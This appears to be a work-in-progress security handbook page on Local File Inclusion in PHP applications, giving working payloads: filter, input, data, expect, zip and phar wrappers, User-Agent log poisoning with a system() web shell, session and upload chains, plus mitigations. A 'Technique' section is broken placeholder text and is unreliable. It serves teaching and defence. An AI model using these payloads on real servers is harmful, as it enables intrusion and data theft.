Local File Inclusion (WIP)

Also known as LFI occurs when a web application dynamically loads files based on user input without proper validation or sanitization. An attacker can exploit this flaw to include and execute files residing on the server, potentially exposing sensitive data (such as configuration files, credentials, or source code) and, in some cases, achieving RCE.

LFI is especially common in applications that use file inclusion mechanisms, like in PHP or other languages and frameworks, when improper file handling is present.

Common types of Local File Inclusion are:

  • Direct LFI: Via simple file path manipulation

  • Path truncation: Exploiting filename length limitations to bypass filters

  • Wrapper-based LFI: Using stream wrappers to include arbitrary code or reveal source code

  • Log poisoning: Injecting malicious code into server logs and then including the log file to execute it

Scope

It's a server-side vulnerability as it occurs when the server processes user input to decide which file to include. If input is not sanitized, the attacker can manipulate file paths before the server retrieves the file, leading to unintended exposure or execution.

Common scenarios can be found in applications that dynamically load templates, language packs, or page components using inclusion functions such as include(), require(), fopen(), or custom file-loading logic.

Also, if an application has poorly implemented file upload + file inclusion combinations, an attacker could upload a malicious file and then include it, or could even chain it with log poisoning, or wrappers to escalate to full RCE.

Exploitation Techniques

Local File Inclusion vulnerabilities arise when user input is used to dynamically include files without proper validation. Although it is similar to Path Traversal, the core objective here is not navigating the filesystem but abusing the application’s inclusion logic to load sensitive or attacker-controlled files.

Reading Local Source Code

We could try to access standard source code files that reveal application logic or credentials

  • We find a point on the application that calls files by name

http://$url/index.php?page=page1.php

# We could modify the filename to access known sensitive files
http://$url/index.php?page=config.php
http://$url/index.php?page=db.php

Abusing Wrappers

Wrappers are special protocols that allow developers to access different types of resources as if they were files. Instead of pointing to a normal file, the application can load data from streams, input sources, or even inline content through a wrapper URI, which could even be abused to achieve RCE.

  • We can use filter wrapper to encode the output, letting us view the raw source code of files

http://$url/index.php?page=php://filter/convert.base64-encode/resource=config.php.

  • We can use input wrapper to send raw code in a POST request to be executed

POST /index.php?page=php://input HTTP/1.1
Host: $url

<?php system($_GET['cmd']); ?>

# We could confirm if this has worked with the following
http://$url/index.php?page=php://input&cmd=id

  • We can use data wrapper to include inline data to inject payloads

http://$url/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOyA/Pg==

  • We can use expect a wrapper to execute system commands directly

http://$url/index.php?page=expect://id

  • We can use zip or phar wrappers to archives as file systems and execute malicious files

http://$url/index.php?page=zip://malicious.zip#shell.php
http://$url/index.php?page=phar://malicious.phar/shell.php

Inclusion via Log Poisoning

When an application logs the request in common files like /var/log/apache2/access.log, /var/log/apache2/error.log or /var/log/httpd/access_log LFI can be escalated to Remote Code Execution by poisoning server logs with malicious code and including the log files.

  • We can include a log file with malicious content by manipulating the User-Agent header

GET / HTTP/1.1 HTTP/1.1
Host: $url
User-Agent: <?php system($_GET['cmd']); ?>

# We trigger the inclusion of the log file with
http://$url/index.php?page=/var/log/apache2/access.log&cmd=id

  1. Send payload in a User-Agent header:

  2. Force inclusion of the log file:

    http://$url/index.php?page=/var/log/apache2/access.log&cmd=id

If successful, the PHP code inside the log executes on the server.

Session File Inclusion

Many applications store session data in local files (/tmp/sess_*). If the attacker can control session contents, they may be able to inject PHP code into the session file.

Example Flow

  1. Log in and manipulate session data (e.g., via cookie injection).

  2. Locate session storage (often /tmp/sess_<PHPSESSID>).

  3. Include the session file:

    http://$url/index.php?page=/tmp/sess_abcd1234

File Upload + LFI Chain

If file uploads are allowed, LFI can be combined with it to execute malicious code.

Example Flow

  1. Upload a PHP web shell disguised as an image: shell.php.jpg.

  2. If stored in /uploads/, include it:

    http://$url/index.php?page=uploads/shell.php.jpg

  3. The file executes as PHP code, giving the attacker remote execution.

Error-Based Discovery

Sometimes, exploiting LFI doesn’t immediately give access to files. Instead, attackers can use error messages as an oracle to confirm whether a file exists.

Example

http://$url/index.php?page=not_existing

If the server reveals differences in error messages (Warning: include(not_existing): failed to open stream…), attackers can enumerate valid files step by step.

Chained Attacks

  • LFI + File Write → Combine with an upload functionality or log injection to achieve RCE.

  • LFI + SSRF → If LFI can reach pseudo-files like /proc/self/environ, attackers may abuse environment variables.

  • LFI + PHP Wrappers → Gain access to memory streams or encode files for offline analysis.

Technique 1

The

  • Check 

d

  • A

c

Technique 2

We can

Impact

  • Disclosure of sensitive information such as database credentials, API keys, or application source code

  • Local file enumeration and reconnaissance of the server environment

  • Escalation to remote code execution via log poisoning, session file inclusion, or uploaded malicious file execution

  • Privilege escalation or lateral movement within the compromised system.

Mitigation Strategies

  • Use a strict whitelist of files with a fixed map of allowed pages/components

  • Avoid letting user input directly decide which file to include

  • Disable risky PHP settings such as allow_url_include=0 or allow_url_fopen=0

  • Avoid dynamic includes whenever possible, using explicit routing logic instead of concatenating user input into file paths

  • Harden file permissions, so the web server process can only access the required application directories

  • Monitor and log suspicious behavior to detect attempts to load wrappers, abnormal file types, or unusual inclusion patterns

Checklist for Developers and Sysadmins

PreviousServer-Side Request ForgeryNextVulnerable and Outdated Components (WIP)

Last updated